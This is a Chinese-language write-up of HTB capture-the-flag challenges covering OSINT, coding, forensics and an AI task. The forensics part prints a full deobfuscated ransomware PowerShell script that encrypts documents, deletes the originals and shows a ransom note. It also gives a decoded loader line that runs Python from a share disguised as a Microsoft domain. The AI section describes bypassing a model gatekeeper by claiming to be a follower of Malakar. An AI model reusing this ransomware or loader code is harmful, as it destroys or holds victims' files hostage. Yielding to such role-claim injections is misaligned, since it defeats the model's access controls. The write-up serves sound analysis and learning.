碎碎念

第一次打这个htb上的赛,真别说就是高级,分类全功能多,唯一的问题就是看不懂英文(bushi),题目量巨大,最后也就做了14题半 总的来说还蛮有意思的

碎碎念

image-20250326211844321 第一次打这个htb上的赛,真别说就是高级,分类全功能多,唯一的问题就是看不懂英文(bushi),题目量巨大,最后也就做了14题半

image-20250326211844321

OSINT

Echoes in Stone

知识点省流

谷歌搜图+wiki

WP

将图片丢给谷歌搜索,可以看到他给出了名字,但是提交不对,那我们直接搜一下这个名

image-20250325201309512

然后可以找到它对应的wiki,wiki的名才是flag

image-20250325202418284

The Stone That Whispers

知识点省流

谷歌搜图+wiki

WP

将图片丢给谷歌搜索,然后找到wiki。进去后即可看到flag

image-20250325202640771

The Mechanical Bird’s Nest

知识点省流

谷歌搜图+wiki+谷歌地图

WP

将图片丢给谷歌搜图,确定是51区

,

在谷歌搜索area 51,找到他的wiki,发现有一个坐标,点击可以跳转到一个具体的定位页面

image-20250324211116544

在里面选择谷歌地球,会下载一个kml文件

image-20250324211149628

打开谷歌地图,然后导入kml文件,可以直接定位到51区,然后找到图片的位置,标记一个新地标,就能确定经纬度了

image-20250324211250819

The Ancient Citadel

知识点省流

谷歌搜索

WP

丢给谷歌搜索,发现有给出具体的名字

image-20250325210706341

直接搜这个地方在哪,就有详细信息,而且正好对得上flag的要求(难绷)

image-20250325210727280

btw,尝试丢给gpt分析,对了一半只能说

image-20250325210811627

The Hillside Haven

知识点省流

WP

The Shadowed Sigil

知识点省流

谷歌搜索

WP

谷歌搜索139.5.177.205 APT,会找到唯一一个链接,显然答案是APT28

image-20250325210107930

image-20250325210053412

coding

Summoners Incantation

知识点省流

算法小子

WP

让大模型写个脚本就行了

 1import json
 2
 3def max_non_adjacent_sum(tokens):
 4    if not tokens:
 5        return 0
 6    if len(tokens) == 1:
 7        return tokens[0]
 8
 9    prev, curr = 0, 0
10
11    for token in tokens:
12        prev, curr = curr, max(curr, prev + token)
13
14    return curr
15
16tokens = json.loads(input().strip())  # 解析 JSON 格式的输入
17print(max_non_adjacent_sum(tokens))

image-20250325212740728

Dragon Fury

知识点省流

回溯算法

WP

大模型梭哈(科技真美妙)

 1from itertools import product
 2
 3def find_damage_combination(damage_options, target):
 4    for combination in product(*damage_options):  # 生成所有可能的组合
 5        if sum(combination) == target:
 6            return list(combination)
 7    return []
 8
 9if __name__ == "__main__":
10    import ast
11    damage_options = ast.literal_eval(input().strip())  # 读取并解析输入
12    target = int(input().strip())
13    
14    result = find_damage_combination(damage_options, target)
15    print(result)

image-20250325213050391

Enchanted Cipher

知识点省流

WP

老样子大模型梭哈

 1import ast
 2
 3def decrypt_shifting_cipher(encrypted_text, num_groups, shift_groups):
 4    # 提取所有字母及其在字符串中的位置(非字母保持原位)
 5    letters = []
 6    positions = []
 7    for i, ch in enumerate(encrypted_text):
 8        if ch.isalpha():
 9            letters.append(ch)
10            positions.append(i)
11    
12    decrypted_letters = []
13    group_size = 5
14    total_letters = len(letters)
15    
16    # 对于每个分组进行解密(最后一组可能不足5个字母)
17    for group_index in range(num_groups):
18        start = group_index * group_size
19        end = min((group_index + 1) * group_size, total_letters)
20        group = letters[start:end]
21        shift = shift_groups[group_index]
22        for letter in group:
23            # 假设所有字母均为小写:执行反向移位解密
24            num = ord(letter) - ord('a')
25            new_num = (num - shift) % 26
26            decrypted_letter = chr(new_num + ord('a'))
27            decrypted_letters.append(decrypted_letter)
28    
29    # 将解密后的字母按原来字母的位置放回字符串,其它字符保持不变
30    decrypted_chars = list(encrypted_text)
31    for pos, d_letter in zip(positions, decrypted_letters):
32        decrypted_chars[pos] = d_letter
33    return "".join(decrypted_chars)
34
35if __name__ == "__main__":
36    # 输入:加密文本、移位组数、移位值列表
37    encrypted_text = input().strip()
38    num_groups = int(input().strip())
39    shift_groups = ast.literal_eval(input().strip())
40    
41    original_text = decrypt_shifting_cipher(encrypted_text, num_groups, shift_groups)
42    print(original_text)

image-20250325213654895

Dragon Flight

知识点省流

算法小子

WP

ds梭哈了

  1import sys
  2
  3class SegmentTreeNode:
  4    __slots__ = ['l', 'r', 'left', 'right', 'max_sum', 'prefix_max', 'suffix_max', 'total']
  5    def __init__(self, l, r):
  6        self.l = l
  7        self.r = r
  8        self.left = None
  9        self.right = None
 10        self.max_sum = 0      # Maximum subarray sum in this interval
 11        self.prefix_max = 0   # Maximum prefix sum in this interval
 12        self.suffix_max = 0    # Maximum suffix sum in this interval
 13        self.total = 0         # Total sum of this interval
 14
 15class SegmentTree:
 16    def __init__(self, data):
 17        self.n = len(data)
 18        self.root = self.build(0, self.n - 1, data)
 19    
 20    def build(self, l, r, data):
 21        node = SegmentTreeNode(l, r)
 22        if l == r:
 23            node.max_sum = node.prefix_max = node.suffix_max = node.total = data[l]
 24            return node
 25        
 26        mid = (l + r) // 2
 27        node.left = self.build(l, mid, data)
 28        node.right = self.build(mid + 1, r, data)
 29        
 30        self.merge(node)
 31        return node
 32    
 33    def merge(self, node):
 34        left = node.left
 35        right = node.right
 36        
 37        node.total = left.total + right.total
 38        node.prefix_max = max(left.prefix_max, left.total + right.prefix_max)
 39        node.suffix_max = max(right.suffix_max, right.total + left.suffix_max)
 40        node.max_sum = max(left.max_sum, right.max_sum, left.suffix_max + right.prefix_max)
 41    
 42    def update_val(self, node, idx, val):
 43        if node.l == node.r == idx:
 44            node.max_sum = node.prefix_max = node.suffix_max = node.total = val
 45            return
 46        
 47        if idx <= node.left.r:
 48            self.update_val(node.left, idx, val)
 49        else:
 50            self.update_val(node.right, idx, val)
 51        
 52        self.merge(node)
 53    
 54    def query_range(self, node, l, r):
 55        if node.r < l or node.l > r:
 56            return (-10**18, -10**18, -10**18, -10**18)
 57        
 58        if l <= node.l and node.r <= r:
 59            return (node.max_sum, node.prefix_max, node.suffix_max, node.total)
 60        
 61        left_max, left_prefix, left_suffix, left_total = self.query_range(node.left, l, r)
 62        right_max, right_prefix, right_suffix, right_total = self.query_range(node.right, l, r)
 63        
 64        if left_max == -10**18:
 65            return (right_max, right_prefix, right_suffix, right_total)
 66        if right_max == -10**18:
 67            return (left_max, left_prefix, left_suffix, left_total)
 68        
 69        total = left_total + right_total
 70        prefix_max = max(left_prefix, left_total + right_prefix)
 71        suffix_max = max(right_suffix, right_total + left_suffix)
 72        max_sum = max(left_max, right_max, left_suffix + right_prefix)
 73        
 74        return (max_sum, prefix_max, suffix_max, total)
 75
 76def main():
 77    input = sys.stdin.read().split()
 78    ptr = 0
 79    
 80    N, Q = map(int, input[ptr:ptr+2])
 81    ptr += 2
 82    
 83    data = list(map(int, input[ptr:ptr+N]))
 84    ptr += N
 85    
 86    st = SegmentTree(data)
 87    
 88    for _ in range(Q):
 89        parts = input[ptr]
 90        if parts == 'Q':
 91            # Query operation
 92            ptr += 1
 93            l = int(input[ptr]) - 1  # convert to 0-based
 94            ptr += 1
 95            r = int(input[ptr]) - 1
 96            ptr += 1
 97            max_sum, _, _, _ = st.query_range(st.root, l, r)
 98            print(max_sum)
 99        elif parts == 'U':
100            # Update operation
101            ptr += 1
102            i = int(input[ptr]) - 1  # convert to 0-based
103            ptr += 1
104            x = int(input[ptr])
105            ptr += 1
106            st.update_val(st.root, i, x)
107
108if __name__ == "__main__":
109    main()

image-20250325233028119

ClockWork Gurdian

知识点省流

算法小子

WP

ds梭哈(需要多问问,不然他好像不理解输入格式)

 1from collections import deque
 2
 3def shortestSafePath(grid):
 4    if not grid or not grid[0]:
 5        return -1
 6    
 7    rows = len(grid)
 8    cols = len(grid[0])
 9    
10    # 检查起点是否可通行
11    if grid[0][0] != 0 and str(grid[0][0]).upper() != '0':
12        return -1
13    
14    # 查找出口位置
15    exit_pos = None
16    for i in range(rows):
17        for j in range(cols):
18            cell = str(grid[i][j]).upper()
19            if cell == 'E':
20                exit_pos = (i, j)
21                break
22        if exit_pos:
23            break
24    
25    if not exit_pos:
26        return -1
27    
28    # 检查出口是否可通行
29    if grid[exit_pos[0]][exit_pos[1]] == 1:
30        return -1
31    
32    # BFS初始化
33    directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
34    queue = deque([(0, 0, 0)])  # (row, col, distance)
35    visited = [[False] * cols for _ in range(rows)]
36    visited[0][0] = True
37    
38    while queue:
39        row, col, dist = queue.popleft()
40        
41        # 检查是否到达出口
42        if (row, col) == exit_pos:
43            return dist
44        
45        # 探索四个方向
46        for dr, dc in directions:
47            nr, nc = row + dr, col + dc
48            if 0 <= nr < rows and 0 <= nc < cols and not visited[nr][nc]:
49                cell = str(grid[nr][nc]).upper()
50                # 检查是否可通行(0或E)
51                if cell == '0' or cell == 'E':
52                    visited[nr][nc] = True
53                    queue.append((nr, nc, dist + 1))
54    
55    return -1
56
57# 示例测试
58if __name__ == "__main__":
59    # 直接使用完整网格作为输入
60    grid = eval(input().strip())  # 读取单行输入并解析为二维列表
61    
62    result = shortestSafePath(grid)
63    print(result)

image-20250325233846778

Forensics

Thorin’s Amulet

知识点省流

powershell脚本+dns解析+web相关知识

WP

下载附件发现是个ps1文件,压缩包里写了是powershell脚本

image-20250326161451989

查看内容发现里面明显有一串base64字符串

image-20250326161521360

丢给厨子,可以看到这里应该是下载了什么东西

image-20250326161549574

而这个时候直接访问这个链接是不通的,可以将题目信息丢给gpt帮我们看看,他告诉我们需要解析域名(题目里有提到)

image-20250326161642403

在hosts里加上对应的ip和域名后,访问如下链接,会得到一个新的ps1文件

1http://83.136.254.73:58639/update

image-20250326161709118

查看内容,可以看到其访问了另一个路由,同时在请求头里带上了一个变量

image-20250326161820163

这时候我们直接访问这个链接会显示无权限,所以我们直接在powershell里执行上面的命令即可

image-20250326161914566

然后会得到另一个ps1文件,打开有一串字符,丢给厨子处理即可得到flag

image-20250326161946105

A new Hire

知识点省流

溯源

WP

有个附件,是一个邮件(但其实用不用都一样),里面的内容告诉我们去index.php查看他的简历

image-20250326164226095

访问靶机,就能看到这个index.php

image-20250326164305357

点进去后,点击查看完整简历,会跳转到本地,可以看到上面有具体的路径

image-20250326164349269

所以我们回到浏览器里访问这个路径即可,在resumes里下载刚刚的那个pdf文件,会直接被查杀

image-20250326164435223

提取出来后查看内容,会发现其中藏了一段base64

image-20250326164519986

老样子厨子解码,然后处理一下得到下面的内容,显然指引我们去看client.py

1[System.Diagnostics.Process]::Start('msedge', 'http://storage.microsoftcloudservices.com:38133/3fe1690d955e8fd2a0b282501570e1f4/resumesS/resume_official.pdf');\\storage.microsoftcloudservices.com@38133\3fe1690d955e8fd2a0b282501570e1f4\python312\python.exe \\storage.microsoftcloudservices.com@38133\3fe1690d955e8fd2a0b282501570e1f4\configs\client.py

image-20250326164547132

找到对应目录,查看client.py的内容,发现有两串base64字符串

image-20250326164625049

将key的base64值丢给厨子,得到flag

image-20250326164702886

Cave Expedition

知识点省流

windows事件查看+加密脚本逆推解密

WP

下载附件得到一个经过加密的文件和一堆windows的事件记录,根据大小排序,可以看到只有一个文件有内容

image-20250326170559559

打开后,根据时间排序,简单审计一下,发现这里开始有内容,有一大段base64字符串,而且往后的若干个记录都有

image-20250326170642069

全部提出来丢给厨子,会拼凑出完整的脚本,不难看出这个是实现某种自定义加密的脚本

 1$k34Vm = "Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm"
 2$m78Vo = "LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpZT1VSIEZJTEVTIEhBVkUgQkVFTiBFTkNSWVBURUQgQlkgQSBSQU5TT01XQVJFCiogV2hhdCBoYXBwZW5lZD8KTW9zdCBvZiB5b3VyIGZpbGVzIGFyZSBubyBsb25nZXIgYWNjZXNzaWJsZSBiZWNhdXNlIHRoZXkgaGF2ZSBiZWVuIGVuY3J5cHRlZC4gRG8gbm90IHdhc3RlIHlvdXIgdGltZSB0cnlpbmcgdG8gZmluZCBhIHdheSB0byBkZWNyeXB0IHRoZW07IGl0IGlzIGltcG9zc2libGUgd2l0aG91dCBvdXIgaGVscC4KKiBIb3cgdG8gcmVjb3ZlciBteSBmaWxlcz8KUmVjb3ZlcmluZyB5b3VyIGZpbGVzIGlzIDEwMCUgZ3VhcmFudGVlZCBpZiB5b3UgZm9sbG93IG91ciBpbnN0cnVjdGlvbnMuCiogSXMgdGhlcmUgYSBkZWFkbGluZT8KT2YgY291cnNlLCB0aGVyZSBpcy4gWW91IGhhdmUgdGVuIGRheXMgbGVmdC4gRG8gbm90IG1pc3MgdGhpcyBkZWFkbGluZS4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQo="
 3$a53Va = "NXhzR09iakhRaVBBR2R6TGdCRWVJOHUwWVNKcTc2RWl5dWY4d0FSUzdxYnRQNG50UVk1MHlIOGR6S1plQ0FzWg=="
 4$b64Vb = "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"
 5
 6$e90Vg = @{}
 7$f12Vh = @{}
 8
 9For ($x = 65; $x -le 90; $x++) {
10    $e90Vg[([char]$x)] = if($x -eq 90) { [char]65 } else { [char]($x + 1) }
11}
12
13function n90Vp {
14     [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m78Vo))
15}
16
17function l56Vn {
18    return (a12Vc $k34Vm).Split(" ")
19}
20
21For ($x = 97; $x -le 122; $x++) {
22    $e90Vg[([char]$x)] = if($x -eq 122) { [char]97 } else { [char]($x + 1) }
23}
24
25function a12Vc {
26    param([string]$a34Vd)
27    return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($a34Vd))
28}
29
30$c56Ve = a12Vc $a53Va
31$d78Vf = a12Vc $b64Vb
32
33For ($x = 48; $x -le 57; $x++) {
34    $e90Vg[([char]$x)] = if($x -eq 57) { [char]48 } else { [char]($x + 1) }
35}
36
37$e90Vg.GetEnumerator() | ForEach-Object {
38    $f12Vh[$_.Value] = $_.Key
39}
40
41function l34Vn {
42    param([byte[]]$m56Vo, [byte[]]$n78Vp, [byte[]]$o90Vq)
43    $p12Vr = [byte[]]::new($m56Vo.Length)
44    for ($x = 0; $x -lt $m56Vo.Length; $x++) {
45        $q34Vs = $n78Vp[$x % $n78Vp.Length]
46        $r56Vt = $o90Vq[$x % $o90Vq.Length]
47        $p12Vr[$x] = $m56Vo[$x] -bxor $q34Vs -bxor $r56Vt
48    }
49    return $p12Vr
50}
51
52function s78Vu {
53    param([byte[]]$t90Vv, [string]$u12Vw, [string]$v34Vx)
54
55    if ($t90Vv -eq $null -or $t90Vv.Length -eq 0) {
56        return $null
57    }
58
59    $y90Va = [System.Text.Encoding]::UTF8.GetBytes($u12Vw)
60    $z12Vb = [System.Text.Encoding]::UTF8.GetBytes($v34Vx)
61    $a34Vc = l34Vn $t90Vv $y90Va $z12Vb
62
63    return [Convert]::ToBase64String($a34Vc)
64}
65
66function o12Vq {
67    param([switch]$p34Vr)
68
69    try {
70        if ($p34Vr) {
71            foreach ($q56Vs in l56Vn) {
72                $d34Vp = "dca01aq2/"
73                if (Test-Path $d34Vp) {
74                    Get-ChildItem -Path $d34Vp -Recurse -ErrorAction Stop |
75                        Where-Object { $_.Extension -match "^\.$q56Vs$" } |
76                        ForEach-Object {
77                            $r78Vt = $_.FullName
78                            if (Test-Path $r78Vt) {
79                                $s90Vu = [IO.File]::ReadAllBytes($r78Vt)
80                                $t12Vv = s78Vu $s90Vu $c56Ve $d78Vf
81                                [IO.File]::WriteAllText("$r78Vt.secured", $t12Vv)
82                                Remove-Item $r78Vt -Force
83                            }
84                        }
85                }
86            }
87        }
88    }
89    catch {}
90}
91
92if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {
93    o12Vq -p34Vr
94    n90Vp
95}

image-20250326170747425

将这个脚本丢给gpt,让其生成一个解密脚本即可

 1# 定义原加密时用到的 Base64 字符串(密钥)
 2$a53Va = "NXhzR09iakhRaVBBR2R6TGdCRWVJOHUwWVNKcTc2RWl5dWY4d0FSUzdxYnRQNG50UVk1MHlIOGR6S1plQ0FzWg=="
 3$b64Vb = "n2mmXaWy5pL4kpNWr7bcgEKxMeUx50MJ"
 4
 5# 定义一个通用的 Base64 解码函数
 6function a12Vc {
 7    param([string]$a34Vd)
 8    return [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($a34Vd))
 9}
10
11# 定义 XOR 运算函数,与加密时一致
12function l34Vn {
13    param([byte[]]$m56Vo, [byte[]]$n78Vp, [byte[]]$o90Vq)
14    $p12Vr = [byte[]]::new($m56Vo.Length)
15    for ($x = 0; $x -lt $m56Vo.Length; $x++) {
16        $q34Vs = $n78Vp[$x % $n78Vp.Length]
17        $r56Vt = $o90Vq[$x % $o90Vq.Length]
18        $p12Vr[$x] = $m56Vo[$x] -bxor $q34Vs -bxor $r56Vt
19    }
20    return $p12Vr
21}
22
23# 解码出密钥1和密钥2
24$c56Ve = a12Vc $a53Va
25$d78Vf = a12Vc $b64Vb
26
27# 将密钥转换为字节数组
28$key1 = [System.Text.Encoding]::UTF8.GetBytes($c56Ve)
29$key2 = [System.Text.Encoding]::UTF8.GetBytes($d78Vf)
30
31# 读取加密文件(内容为 Base64 编码的字符串)
32$encText = Get-Content -Path "map.pdf.secured" -Raw
33
34# 将 Base64 字符串转换为字节数组
35$encBytes = [Convert]::FromBase64String($encText)
36
37# 对加密字节进行 XOR 运算,得到解密后的字节数组
38$decBytes = l34Vn $encBytes $key1 $key2
39
40# 将解密后的字节写入新文件 map.pdf
41[IO.File]::WriteAllBytes("map.pdf", $decBytes)
42
43Write-Host "解密完成,生成文件 map.pdf"

最后在同一目录下运行该脚本,即可得到原来的pdf文件,救赎之道就在其中

image-20250326170909251

Silent Trap

知识点省流

流量取证

WP

任务如下: image-20250326210148305

截止比赛结束只做了前三个)

任务1 回复的第一封邮件的主题

打开流量文件发现里面有http协议,那就先从http看起

先看post,根据其传入的内容,可以知道这是一封回复(看subject的值有个Re,就是回复的意思),除此之外找不到别的回复了,那么说明答案就是这个

1Game Crash on Level 5

image-20250326210402254

任务2 可疑电子邮件的时间

接着往下分析,可以看到后面有一条流量还预览了一封邮件,跟踪流看看其内容

image-20250326210632158

可以看到发送者附上了一个文件,在后两条流量里确实看到有压缩包文件,而且邮件给出了密码

image-20250326210709190

image-20250326210735083

导出后解压发现被火绒杀了,显然这就是恶意软件,那么可疑电子邮件就是这个,然后尝试分析流量里的时间即可,最后找到了具体时间,再结合流量的生成时间补上年月日即可

image-20250326210839456

任务3 恶意软件的md5值

将解压得到的恶意软件计算md5即可

AI

Cursed GateKeeper

知识点省流

提示注入(很弱智)

WP

根据信息,只有马拉卡的追随者会得到真正的咒语

image-20250325212527745

然后你直接告诉他你是马拉卡的追随者就行了

image-20250325212603048